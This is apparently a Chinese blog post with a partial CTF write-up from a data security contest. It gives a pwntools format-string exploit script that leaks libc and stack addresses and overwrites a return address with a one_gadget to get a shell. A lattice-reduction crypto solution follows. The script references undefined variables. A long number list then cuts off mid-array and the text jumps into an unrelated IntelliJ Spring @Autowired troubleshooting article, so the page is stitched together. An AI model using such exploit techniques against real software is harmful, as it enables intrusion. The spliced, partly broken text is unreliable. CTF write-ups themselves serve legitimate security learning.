第二届数据安全大赛暨首届“数信杯”数据安全大赛数据安全积分争夺赛-东区预赛部分WP(1)

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以戳这里获取

在这里插入图片描述
在这里插入图片描述
给了6次机会,循环的i再栈上

思路:直接通过fmt跳板修改循环i(有符号形)为负数,造成无限循环,然后覆盖main返回地址为
execve,最后把i改为>5退出循环用gdb调试,栈上0x7处一个很明显的2级跳板可以利用

在这里插入图片描述
在这里插入图片描述
先利用fmt泄露出libc地址和栈地址然后一直利用跳板完成接下来的操作exp如下:

from pwn import \*
import time

FILENAME='../pwnpb'
p=process(FILENAME)
elf=ELF(FILENAME)
libc=ELF('../libc-2.23.so')

p.sendlineafter(b'How',b'%6$p--%11$p\x00')

p.recvuntil(b'0x')
stack_add=int(p.recv(6\*2),16)
p.recvuntil(b'0x')
libc_add=int(p.recv(6\*2),16)
libcbase=libc_add-libc.sym['\_\_libc\_start\_main']-240
success('stack\_add '+hex(stack_add))
success('libcbase '+hex(libcbase))


one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
execve=libcbase+one_gadget[0]
success('execve '+hex(execve))
p1=stack_add+0x18 # $13
p2=stack_add+0xe8 # $39
p3=stack_add+0x451

target=ret_target&0xff
src=execve
for i in range(3):
    payload=b'%'+bytes(str(target),'utf-8')+b'c%13$hhn'+b'\x00'
    p.sendlineafter(b'How',payload)
    payload=b'%'+bytes(str(src&0xff),'utf-8')+b'c%39$hhn'+b'\x00'
    p.sendlineafter(b'How',payload)
    src=src>>8
    target+=1

payload=b'%'+bytes(str(ADDnum_target&0xffff),'utf-8')+b'c%13$hn'+b'\x00'
p.sendlineafter(b'How',payload)
payload=b'%'+bytes(str(0x55),'utf-8')+b'c%39$hhn'+b'\x00'
p.sendlineafter(b'How',payload)

p.interactive()

FLAG:756492198429227351

Sepack:

题目描述:某公司某资深网络安全分析师最近在公司进行的一次常规加密协议审查中,意外发现了可疑的网络流量异常。这台机器通常用于处理公司和客户之间传输的敏感数据,而他发现该机器正在使用一个未经充分测试的密码系统,其安全性无法得到保证,容易被黑客利用造成数据泄露。请分析提供文件。

from Crypto.Util.number import \*
p = 339502755125398827923214069904109547236745426971041014306275417301749268965145777920963448376667912991663528528721730585337779871215288090651888013263156590326370713899012813872484066331518406177202228028995406385383390375382936119124614205195387138530148542277647351296099308702946041092691423211085415103992
h = 1739518129108648232097996913897106318541121774926598493042678580357310066508580930063149740801888216751223085193126600699473752875147787505591404597355740523306360327138120921090998865057831770562219300185899501682920125055140516008257935650516848018477295727186207213469885315007686834350636916643313048211864082865200161747827618753162738531492911017721370677997385388643399363223614851577817134343157477189666207403218379255972556320163923770498758039600750256
c = 82273809247479538378899966691802899690018772380645181523076571721050947459185259020073689486925921120555677415836173678319894924052567960823135219390391856397275687792566059451807698916823297790555128947768120526354109086482549580900882199076227145140217009337211920009078279939433524169119381431335199341693
g = 12108340067423263195156928613197620591272853618557049812037729033666247775291551254286078219133154641793738375649719217310892389863148025606791351727887792

L = Matrix(ZZ, [[1, h],
                [0, p]])

f, g = L.LLL()[0]

m = (f\*c) % p % g \* inverse_mod(f, g) % g

print(long_to_bytes(m))

解出b'the Answer to Life, the Universe and Everything plus three'

在道格拉斯·亚当斯的科幻系列小说《银河系漫游指南》中,"生命、宇宙以及任何事情的答案"是42所以,将这个答案+3结果是45

可以解出: n = 45

后面的加密流程 想到 HSSP 先用 LLL 找到符合的M然后继续再用LLL求得x

from Crypto.Util.number import long_to_bytes
p = 179556462235025512398895097357449712427503983526844715482156535794714709863999504212726407333105562901661667923276638998866137916673820151087229606311195716545197500709304515540400119914996485897453803548053980998659137274805373529622858461662396314771365073519245514458994978417898699437641517541739815451387
e =(162889408847173110992008856496849478894475511064451866226224870336967240909894204518470874014577260249534483021188508030880776668569105753177774045923663601355824506765060478687910665409575747753915194191709585147939021336746992783301441094825886354922164188687153767282371888651117034084734346669558822804814, 62989821962732661162219244911452559219829024095246815950107418719772868419766784369550123291397770751150044557025848223180509293504124278602700539706737428168499153003775767459982706010540285316653049778203473476219444839364273408652259513447443242662280113011401635262407003858300005450853457240482452147952, 33809015980586950093366846968860118496435549844251635921732251949471796955624004612925802894343691907231042811170723281249802277700187316895408615483524950931922433300670174374195684548289037237040503593475944859301422189885790331874926818014380613448404829157309914948170404493899406299880372041499911010581, 173204209512123474999169192673487865218893341637480525759750885474859809247306700509053046855653170440032356859047402540632948688733598110440727589167942964595035498716317117360014023272861656196944617731147391670278007295825545863863335109532456156876501172552775067928540887738171567266782528149052991366344, 44342542021708379414668396400164040288866863293853190678422955890367916527556829163441060795299946011151173746602176243885873908903917232418258624407022767184449949505825951229427442886609587647001805206184853621321745054132020996088231913974435074800623730924049496246187580028788709288920726388903302981951, 4392634990122371299769135555444698517661324862214335126228094534569978009900483928813825625358175017145025010760104861933889907414696340958584405646882650969802950316750828251444789234801391156107988358683173367768689979693274474526252755482603158250275336340954712143542061618282820721278964526691704059037, 162000176912377364854497246589608347561220396741879650597569656073048592508452966115250951541554339741493179848210868510492209083886488261249639517735307133589796676304202824606582526600249355551936399167710100941806542588765011886479376062337961923126657374150137437295886142919327595310575341689049720821665, 22077724025390518070053691471145958030587809991504076910470007324426404196625785163396866481348993840703834624256950859801314754541821819170617398702858989171898585926639352233884541922936622802984229043691076172236063936402804566046927986638773969501896038051495856058369738593673581629231627461675533604523, 14701059014773855164724760612475790181620545800444647603637503203950539280730748336391992277537809589754492951258296642102323514270118699940526640767062254985739206736566765705273984045512674985542932206467648306687093076960135586012836974377949227248482350620290192228628841904086569053960980069106647272759, 129329534408556490917661093908457883681840056456257957108550252322539820873243193229660819689986450590477003861801722033981307543608463363538935856093426507009942751223793314197169134681627590816927372907546886358167395227653266290944998447682036424203110440182693526488605010302346712257061329606646000293770, 158626659490334813369060340004557047352237903719934508643050010961404252033421642240081010345944842014132526405938366698104855435726127475285178676088880541949190517725989503397778739020726759945269701767243417322378332004262174895297616733592658499087056582017315900304589671038322204941999620202597458557501, 97813116237472214183223117266216462919665670894988541616197783636154514491328295107278823249559252647619348324215095695899460809410339002262216842834016821720058769701449786228286598253032982861011691323202558442970722513169511725677917302190777922442115040261958518443716687849930547173316499494037247609897, 62397143023368232285659182342334953345329567312384333333910386732801410742220489815884710926220021507148894758812530848621534053732072733238374868596282409071670575834035776118776158163325924290782673657442706304193703772803531311357376894436295578309791798282802442174004409245114246577696478593169296234158, 146909416094962847443784662518977746508771476564837332649073324873415107694979012925544282963027942240848763236949917564942688404028207275379580996844837839794532899689020887804658991143405020877948565547214775715375693835312184776633525071128523910256044111201691634709235714172749475520067332986328025148481, 75385972334735508286005078459014252147491304325496229196470031201182881040166931014174137496350406945911300668144147194163145641876071583201946999960309648451128154179167038061775887605644342455263722150766802550980351612980549545492288053159714498519381498396661048728570652081172272492447155212558338193628, 111135753957854603138480095490790733635127614274431571643170338617564631992179538777369718002946807812869504650098863509063242826157065189754871181613246952485169133106342223791857815616280597816368043074087722913332916345563949810001685922151218751118000640621262923412118468544439160303062218965162269328663, 25118648173045048606350891539768886750607915369576249566481453087107326075537563478075471992959697395771609273367133152001134963943222309293817785940407795579489327269644917069585775100105294719445528261901548677868502309154889983849947087671318231260139702691440201268302135254411157539365195755423969177445, 104232879660820253326138276573005976557086764937155973902530212626937292084218007753325744585561455828722741851241160491430345882733737633532078157677037499076798960174637845901676519291424334402967463544536837643395834927848165822204966743361461648867176963956609892495998771075311034927767318053654031860081, 2933566876881784416751271339261237150250704833048424805357018164881316236996852601445715492534882626482887296694092103689582374438982021639102353000005812212031628091198329948788959972836529194126171234105449150913241828105045113710668309554563675088496959570926090724165146329341852221939312659576420435045, 20281573542083375029818998648430017505403063685088389298417492636849011396222751186777093029735302283828755355303926497319563131740819439532825289377622414902157917873602958493185961143763474703975833043175872308479973621186245214552792136628672412081227901265868650881595429542972905602721746274293761240136, 27448110108444704929200262008016456026780263056453070211726296263298433340244096764237080094599729648895027936421794324729929940643012325061238783346437591290416261596077334033431939614216324593655984357753570354430008023618326550118861795634136097724075569862407871933829777176134889893136840287523147760101, 156996239297369262203476501366098509950372378226401476113806336224160723986128791389244044713034481908411450945720698027114219928479313267171004577075175505121774296227249114989345616590484357761845136595759057750791573800495429912452494508183977186175903385003787795148679556625282495605958295775631595833334, 72087239496368467464157757936506166920271103443024416193003635071136879977045003002786188967356073131727562500426502805360732807318719769085765847770850692295044495715656772419600538578719437605643696928001787082195598150467238725867137466555075002599721689744440595399672583722205944238913976488979898955059, 156390719769867186240842722039968076488558176193923153028478757839774490981687993295296911073143304405624328615874001251294917387457755151058080249448847366745639586216704424817985827765755547328073015919709942582622149598038560868940636655391114946946187364450309110100963637935956613716208953379258551812996, 172931821445731667623523219523932375474581836200721453122343413582466708631158844171402182629505019406230779875482064287203746504913860938043918792707375937859977978114108255281155901008357082747489700139759856533301730354191137988372462000940645058456462558716465412737563812876012957368416527438660209387571, 8290455856573882438079489135094424686341622771830891863800814744079158013319326523127609425007487754131639563141207607960961662053093254359861762638597712629926928907391179717817730142231005203003558055125468488048859076347317175104398631875041488647986706922382387759744182981261934977798350626397473913681, 57580794941869227348460284506960804607904898816069429476616121619580476955229754535837920212422285004142318527249385062147848133925248472672589880105977824470898591025133426617218319688128782956075409132060430211823320085477469596249222149591192918268827512976736910112188082477305545188171754166605389660115, 42245222677353964582442928227910067531886125044255037111006519893013407534891232091873187890315769213502592023688626052003458932330770245396365455656006759623473497572216566977924825924545441794717120131845266357877910439163309386034348680121775192114251264753776186044346861920982647413179717069720851331106, 75212408390162834153470857557602174538770800007059453002659272951648124808514452011269338012764129348570899010586137060903560969337918754319843593813025727013465215881722323445237008216995847210759154371158280996185231222900552736728276214981767479081052957129457859265048951933869902902436968609946029948788, 114211943001457235791168875191291069267152486854008401052538692190875646223717725217776026221695520204652317265557159433999989791206491525968033987183485513002846269577611787446177607877378100603427866809157698463919887091925870772221701536635528006948030925360573979232053598506768731857773555461629688310437, 30135233271879962012541860054463034409254211601720922542772709114711494206229382082329865050813672370014317913688405552149872152913733753337709762863151133951419580837153692075739137758558758660344398938902245295918178549288121717579179853576332218121414638164654417677324463444029183770457975411468544176393, 156249064658950721077436346560677760885401118063057091875975788198961460740552801500941733506470114585742767792362769321112288187960024260054016477903006534770695650241782772279287187335039717383018229273383041190820671987039878671051463602273879746346116517223339044740838674515090455052903559293256009444803, 95132567967479106758431445893312438643545265564421673755689976055223596564038154487962395878754192671511337274184433900172194596174389811321932991252871193469128871638404732587148052479693797659799888600885896191721412318608347828491061163517841500655333849014638827644235503599909259700519746666891534431953, 96567725438932496995409520303223358551035796403385401915935512147257185380967065708345541119495624956476686651072732065623636975037916620705137910144277934884514988532986234095435827550370089791229596999040374082010908454551246304466560164204337723011562345396556593694830398618641002164029002429169899096885, 25995959518697522895739909284021592221250946976793320634600654416946126440594682109392785390819479645617414392645253981063636604738486158338683591378647761560675009584961770380150293710967869982974701273756753236664712031094337429598697621582473485890470933098561535038304401470721275256093011481431287935882, 4599668470543360469305039192607607593345119755304220350075269602722676347042131848181224412345900178989842025403355579122270287668606517484298487107560850702256191459199401427813911064606583964015385248620926200448580617284054055435367327055164267511317920715863451475263420192444144263670419156835469439289, 96286321609893222412837716808452789132244551867724745188424153600408459932729615203721870855945991515826494787494775494098234908057029334900481558852873022649882494987186496789117638750777482090399575480116093592867493961835664744030752881606564129078072402908990550088416420999191828933772408756593906527478, 24318416908307757387126557205642843788110875622144217965524002609639065351633388682984947686156546584450187581904243019350579102894765453627820028577912613279309658268669098013794941429522882003991981277245380986570728380028202970434602273157457435081058460245211518552717459031021999359101101394687260772445, 129037544508169433394396588169040584288436072888272998945629420771338147633346233063377474181831379997978007269545305132198662225811701055384606039641877226417751922849030280814153528742606121866130662971525373224839977818267708950151204150625608501070807156214508916185156079219352043567310047025006235387823, 16708897490866366699792438782423413987359887149193137532563016719627055812276370736861923157486303226675139153769352100145249772154026118731544516786286788873148364908416035992460944866472866075695970648710743928167939820445925426772056768114011398706327727046032029926886055522027498370012291587537121461610, 40704851225664795794832542604654014702213227879788650226008531511644061094896597458780363829447003006213815582904401442092474967325075163147877081630214349027069042298489696502551130415068196005275330045348430857200005646621953544960582220792176940478102634340226339102640297713259704843773002194910046957968, 123362212195012130214288177944478764573802393695486152170345488753171451149391770182504607131469390575865072443204534088804810694928577735121577939366059025353459451418904633011325939887761546331464928291498570375517844299310312777973941012299657356685047444255371264967594767564442171719440673616573983178865, 102653033671876461351210645035066474541748587156569457604256844049408088111487039835572026281259308942357662460442011358703135433304674927029022315975452813405710473288122387480539250665904775955152930916276116748094552002708959578732738405892464775221002948991533113304838821650013811674967391966162974754459, 34729856095647672954620515585473315933737221939920573893520314362467117795438744750964013932527766493618311556527690941089797127866835286868198125292477234474855704185487160361932321916483685160805469627038540270104561281708857194379661361356736250734890535972908335814318051210781645910940578754839458568174, 93039238842092919779297919846990670137064694703456637959554700039937712254924134031038512792914901708062313581581836173177999224850029976784845358181420192835480778807283632819755197850255893929149825280929350701774829283670430733289142347045450445531252290950595511911044518679714098391397682000970580325880, 121196749841818919535859171187522969931656980947964451878181692666887298892158196289437319805355582882591066052512839509369705489748386730876190810984586630316356145345851711372032786809813517966482727142240837603336464495790608821558390975784822451639890979191503829573934885116063030515928261888967820513101, 22580619481609989455521911537854712186794663389010999353575620199234348475823348680422579547829485270420323052877661044234191243649899305717558531734441726554509302296373942260238682122299678856935574783271680310630969792331768958915235849561879601434744757028112698153465627475275575280093025106818279595515, 66659682406551265182942245102944021622709706395727217175347340959176991207520706589113122648775304080079929925121032733686376658649133493784283636706298651309917642441356050737308805963398418863410260682272923078458119767048037825464085915653381859139300050889665105021723937076221496954154479410558296847123, 26221801164631288971978525917670331132757295212284763715840941903513854759164222213919304951790628162077505821592735857320888205590010238210620122910714249290041587374363427492439651427929592072237462260148598125324950389865214885919873044862534540994068462772197369828574532794026628521716515944389710472359, 96835738502398230321255062647955125369118454663716011271059246956368046384966280599691642781106714710975187224458331435565872879573824822537489972225310399856768846217668383021893631843857725054271900383524698826089845630363298753603685790868162705818603238438767748432719281652271345991508365452279382276662, 27327833512343102424184697005602648861087361002853054938840545877236212694743036641536808271951133513005878294042083999863190830851391813227155540304467425918950597625497097935307660199904053408219121244632513438831481307570605408867722695867135639184917145933907886748371488478507359287802047724583096328806, 68660246383726473727716341287287151860701032808127003565590114151811919626652113497652226980186309056154834873946210052149119800504614444621067760487295121381700109596506270050310066798179082106842048320326406172400497415396610210947747760138647615396851666565607257966002436258286146008653306600836735859507, 57415920933526374522107368079086225809423585744946054737154049774112415276049989913669557388265540555255427680350922063864450281709985220807060331785586165191561364162149897024148838617121091499811272878669547106966971267737283362715839725573816108062027711836779529579862949379864556107962089180194187686700, 34846149306036372595219988012833555399065930740006495764674442202123158627126427112499024157633284102418958851887158461408980387513019244647685376062265301471468192306000465184146758662309331602675306849551428671483634139334355164248700599728467532875235195924945237135745328564447826887827579728706819033947, 65256801458157643313077856603263412407727122682281471449647789271335732940792387202440758014599632946392357898792625410401912742754913873977796947623329968646757086568107689775505258313530730425403590382860427935488983242538415454048071885879673909724699366021584516179766441234494586630324215783070452217127, 138941086024418781266642743391985953053075394330494860079090088308704756835064785065657581000978928709047460579969779192847576610259960276937512483405989153879664773074790558899943735011846049815147804142135287058451058783048191739964612538626900959391681709268446233383154751852774032638418720565087464914955, 71479110640704909021931085128198118944570974815111899939348502408238774224790263667743011288018647548512512463218703636259999641421078487647731587511489882161163557137612362997730076396799327181433871829800299566396748402275678404684407121232671671219564075001910949262353031508910752234749758032828088499575, 172651611299747295918452261338308706769964606828203394540095693879896208892495573289124106821308863570955949943987315570044959515074184949902335573981934141636602186054676287798795101252904097278235956187574734169537825224417679966051277122703991545878655124402040785792066176712702001943558026355573977369234, 22653243107955194088102009293446726430547491897432124249328039127568467972905932248913611026172216119282667423257787486240924081800707295438326759155187833137795359546146275843241756993813237189621653382577403354237727057491189871834059572305934970137554075291884127907587318854326220462837851159642505264661, 146020780926591304301531329968746930612233150642739726206637150711281160860588105460750016200963803710646436741488072148500042029936745285189256817857449876099630698622362850424582345793101671199028482796799588667774107318903275677205769433723493834257188762327763295393757782854508946096137356663606760109907, 25121838378195178705516356581919318585093900798468020610122979804300070026229012883347936109190161076180611140894595797530973218819402573958358986784586078940830015706775824259875596575318182203550412877754554050396486479087945357713361683755904607098105514093267694409637753186613673803909966958575202119058, 10625061349846214202847421693416161279541953841354831140506130808652958268833327724261512102064874617142868236262434817396442971740370474716012222167522608690394936808288354254064629361355566389601029286030792255546632411488582037285449312888164880998952490581705947184507055480923629946452137555297876318338, 4
### 解决 IntelliJ IDEA 中 `@Autowired` 注解导致的红色波浪线错误 在使用 Spring 框架时,如果遇到 `@Autowired` 注解下的依赖注入对象显示为红色波浪线错误或者黄色警告的情况,通常是由以下几个原因引起的: #### 1. **Spring 插件未启用** 如果 Spring 支持插件未被激活,则可能导致 IDE 无法识别 `@Autowired` 或其他 Spring 特定的功能。可以通过以下方式解决问题: - 打开设置菜单:`File -> Settings -> Plugins`。 - 确认已安装并启用了名为 “Spring Framework Support” 的官方插件[^1]。 #### 2. **项目配置文件缺失或不正确** Spring 需要通过 XML 文件、Java Config 类或其他形式来定义 Bean 定义。如果没有正确加载这些配置文件,可能会导致 `@Autowired` 报错。 - 确保项目的 `applicationContext.xml` 或者基于 Java 的配置类(带有 `@Configuration` 和 `@Bean` 注解)已被正确定义和引入。 - 对于 Spring Boot 项目,确认是否存在 `spring.factories` 文件以及是否包含了必要的组件扫描路径[^3]。 #### 3. **模块依赖关系问题** 当前模块可能缺少对 Spring Core 或 Context 组件库的有效引用。这可能是由于 Maven/Gradle 构建工具中的依赖项声明不足造成的。 - 检查 `pom.xml` (Maven) 或 `build.gradle` (Gradle),确保包含如下核心依赖之一: ```xml <!-- For Maven --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>${spring.version}</version> </dependency> ``` ```gradle // For Gradle implementation 'org.springframework:spring-context:${springVersion}' ``` - 更新项目依赖树以应用更改:右键点击项目根目录 -> `Maven -> Reload Project` 或运行命令 `./gradlew build --refresh-dependencies`。 #### 4. **IDE 缓存损坏** Intellij IDEA 的缓存机制有时会因各种因素而失效,从而引发误报错误。清除缓存可以有效缓解此类情况。 - 使用快捷组合键 `Ctrl + Alt + Shift + S` 进入项目结构对话框;也可以尝试执行操作序列:`File -> Invalidate Caches / Restart... -> Invalidate and Restart`. #### 5. **启动异常影响正常解析** 若之前存在类似 `com.intellij.diagnostic.PluginException` 的严重初始化失败日志记录,则表明某些关键服务未能成功加载,进而干扰到后续功能表现[^2]。建议重新下载最新稳定版本的 IDEA 并按照标准流程完成初次部署工作。 ```java // 示例代码片段展示如何正确运用 @Autowired 注解实现自动装配 @Service public class StudentService { private final Repository repository; public StudentService(@Qualifier("specificRepository") Repository repo){ this.repository = repo; } } @Component class SpecificComponent{ @Autowired private transient StudentService studentService; // 此处应无任何编译期告警现象发生 } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值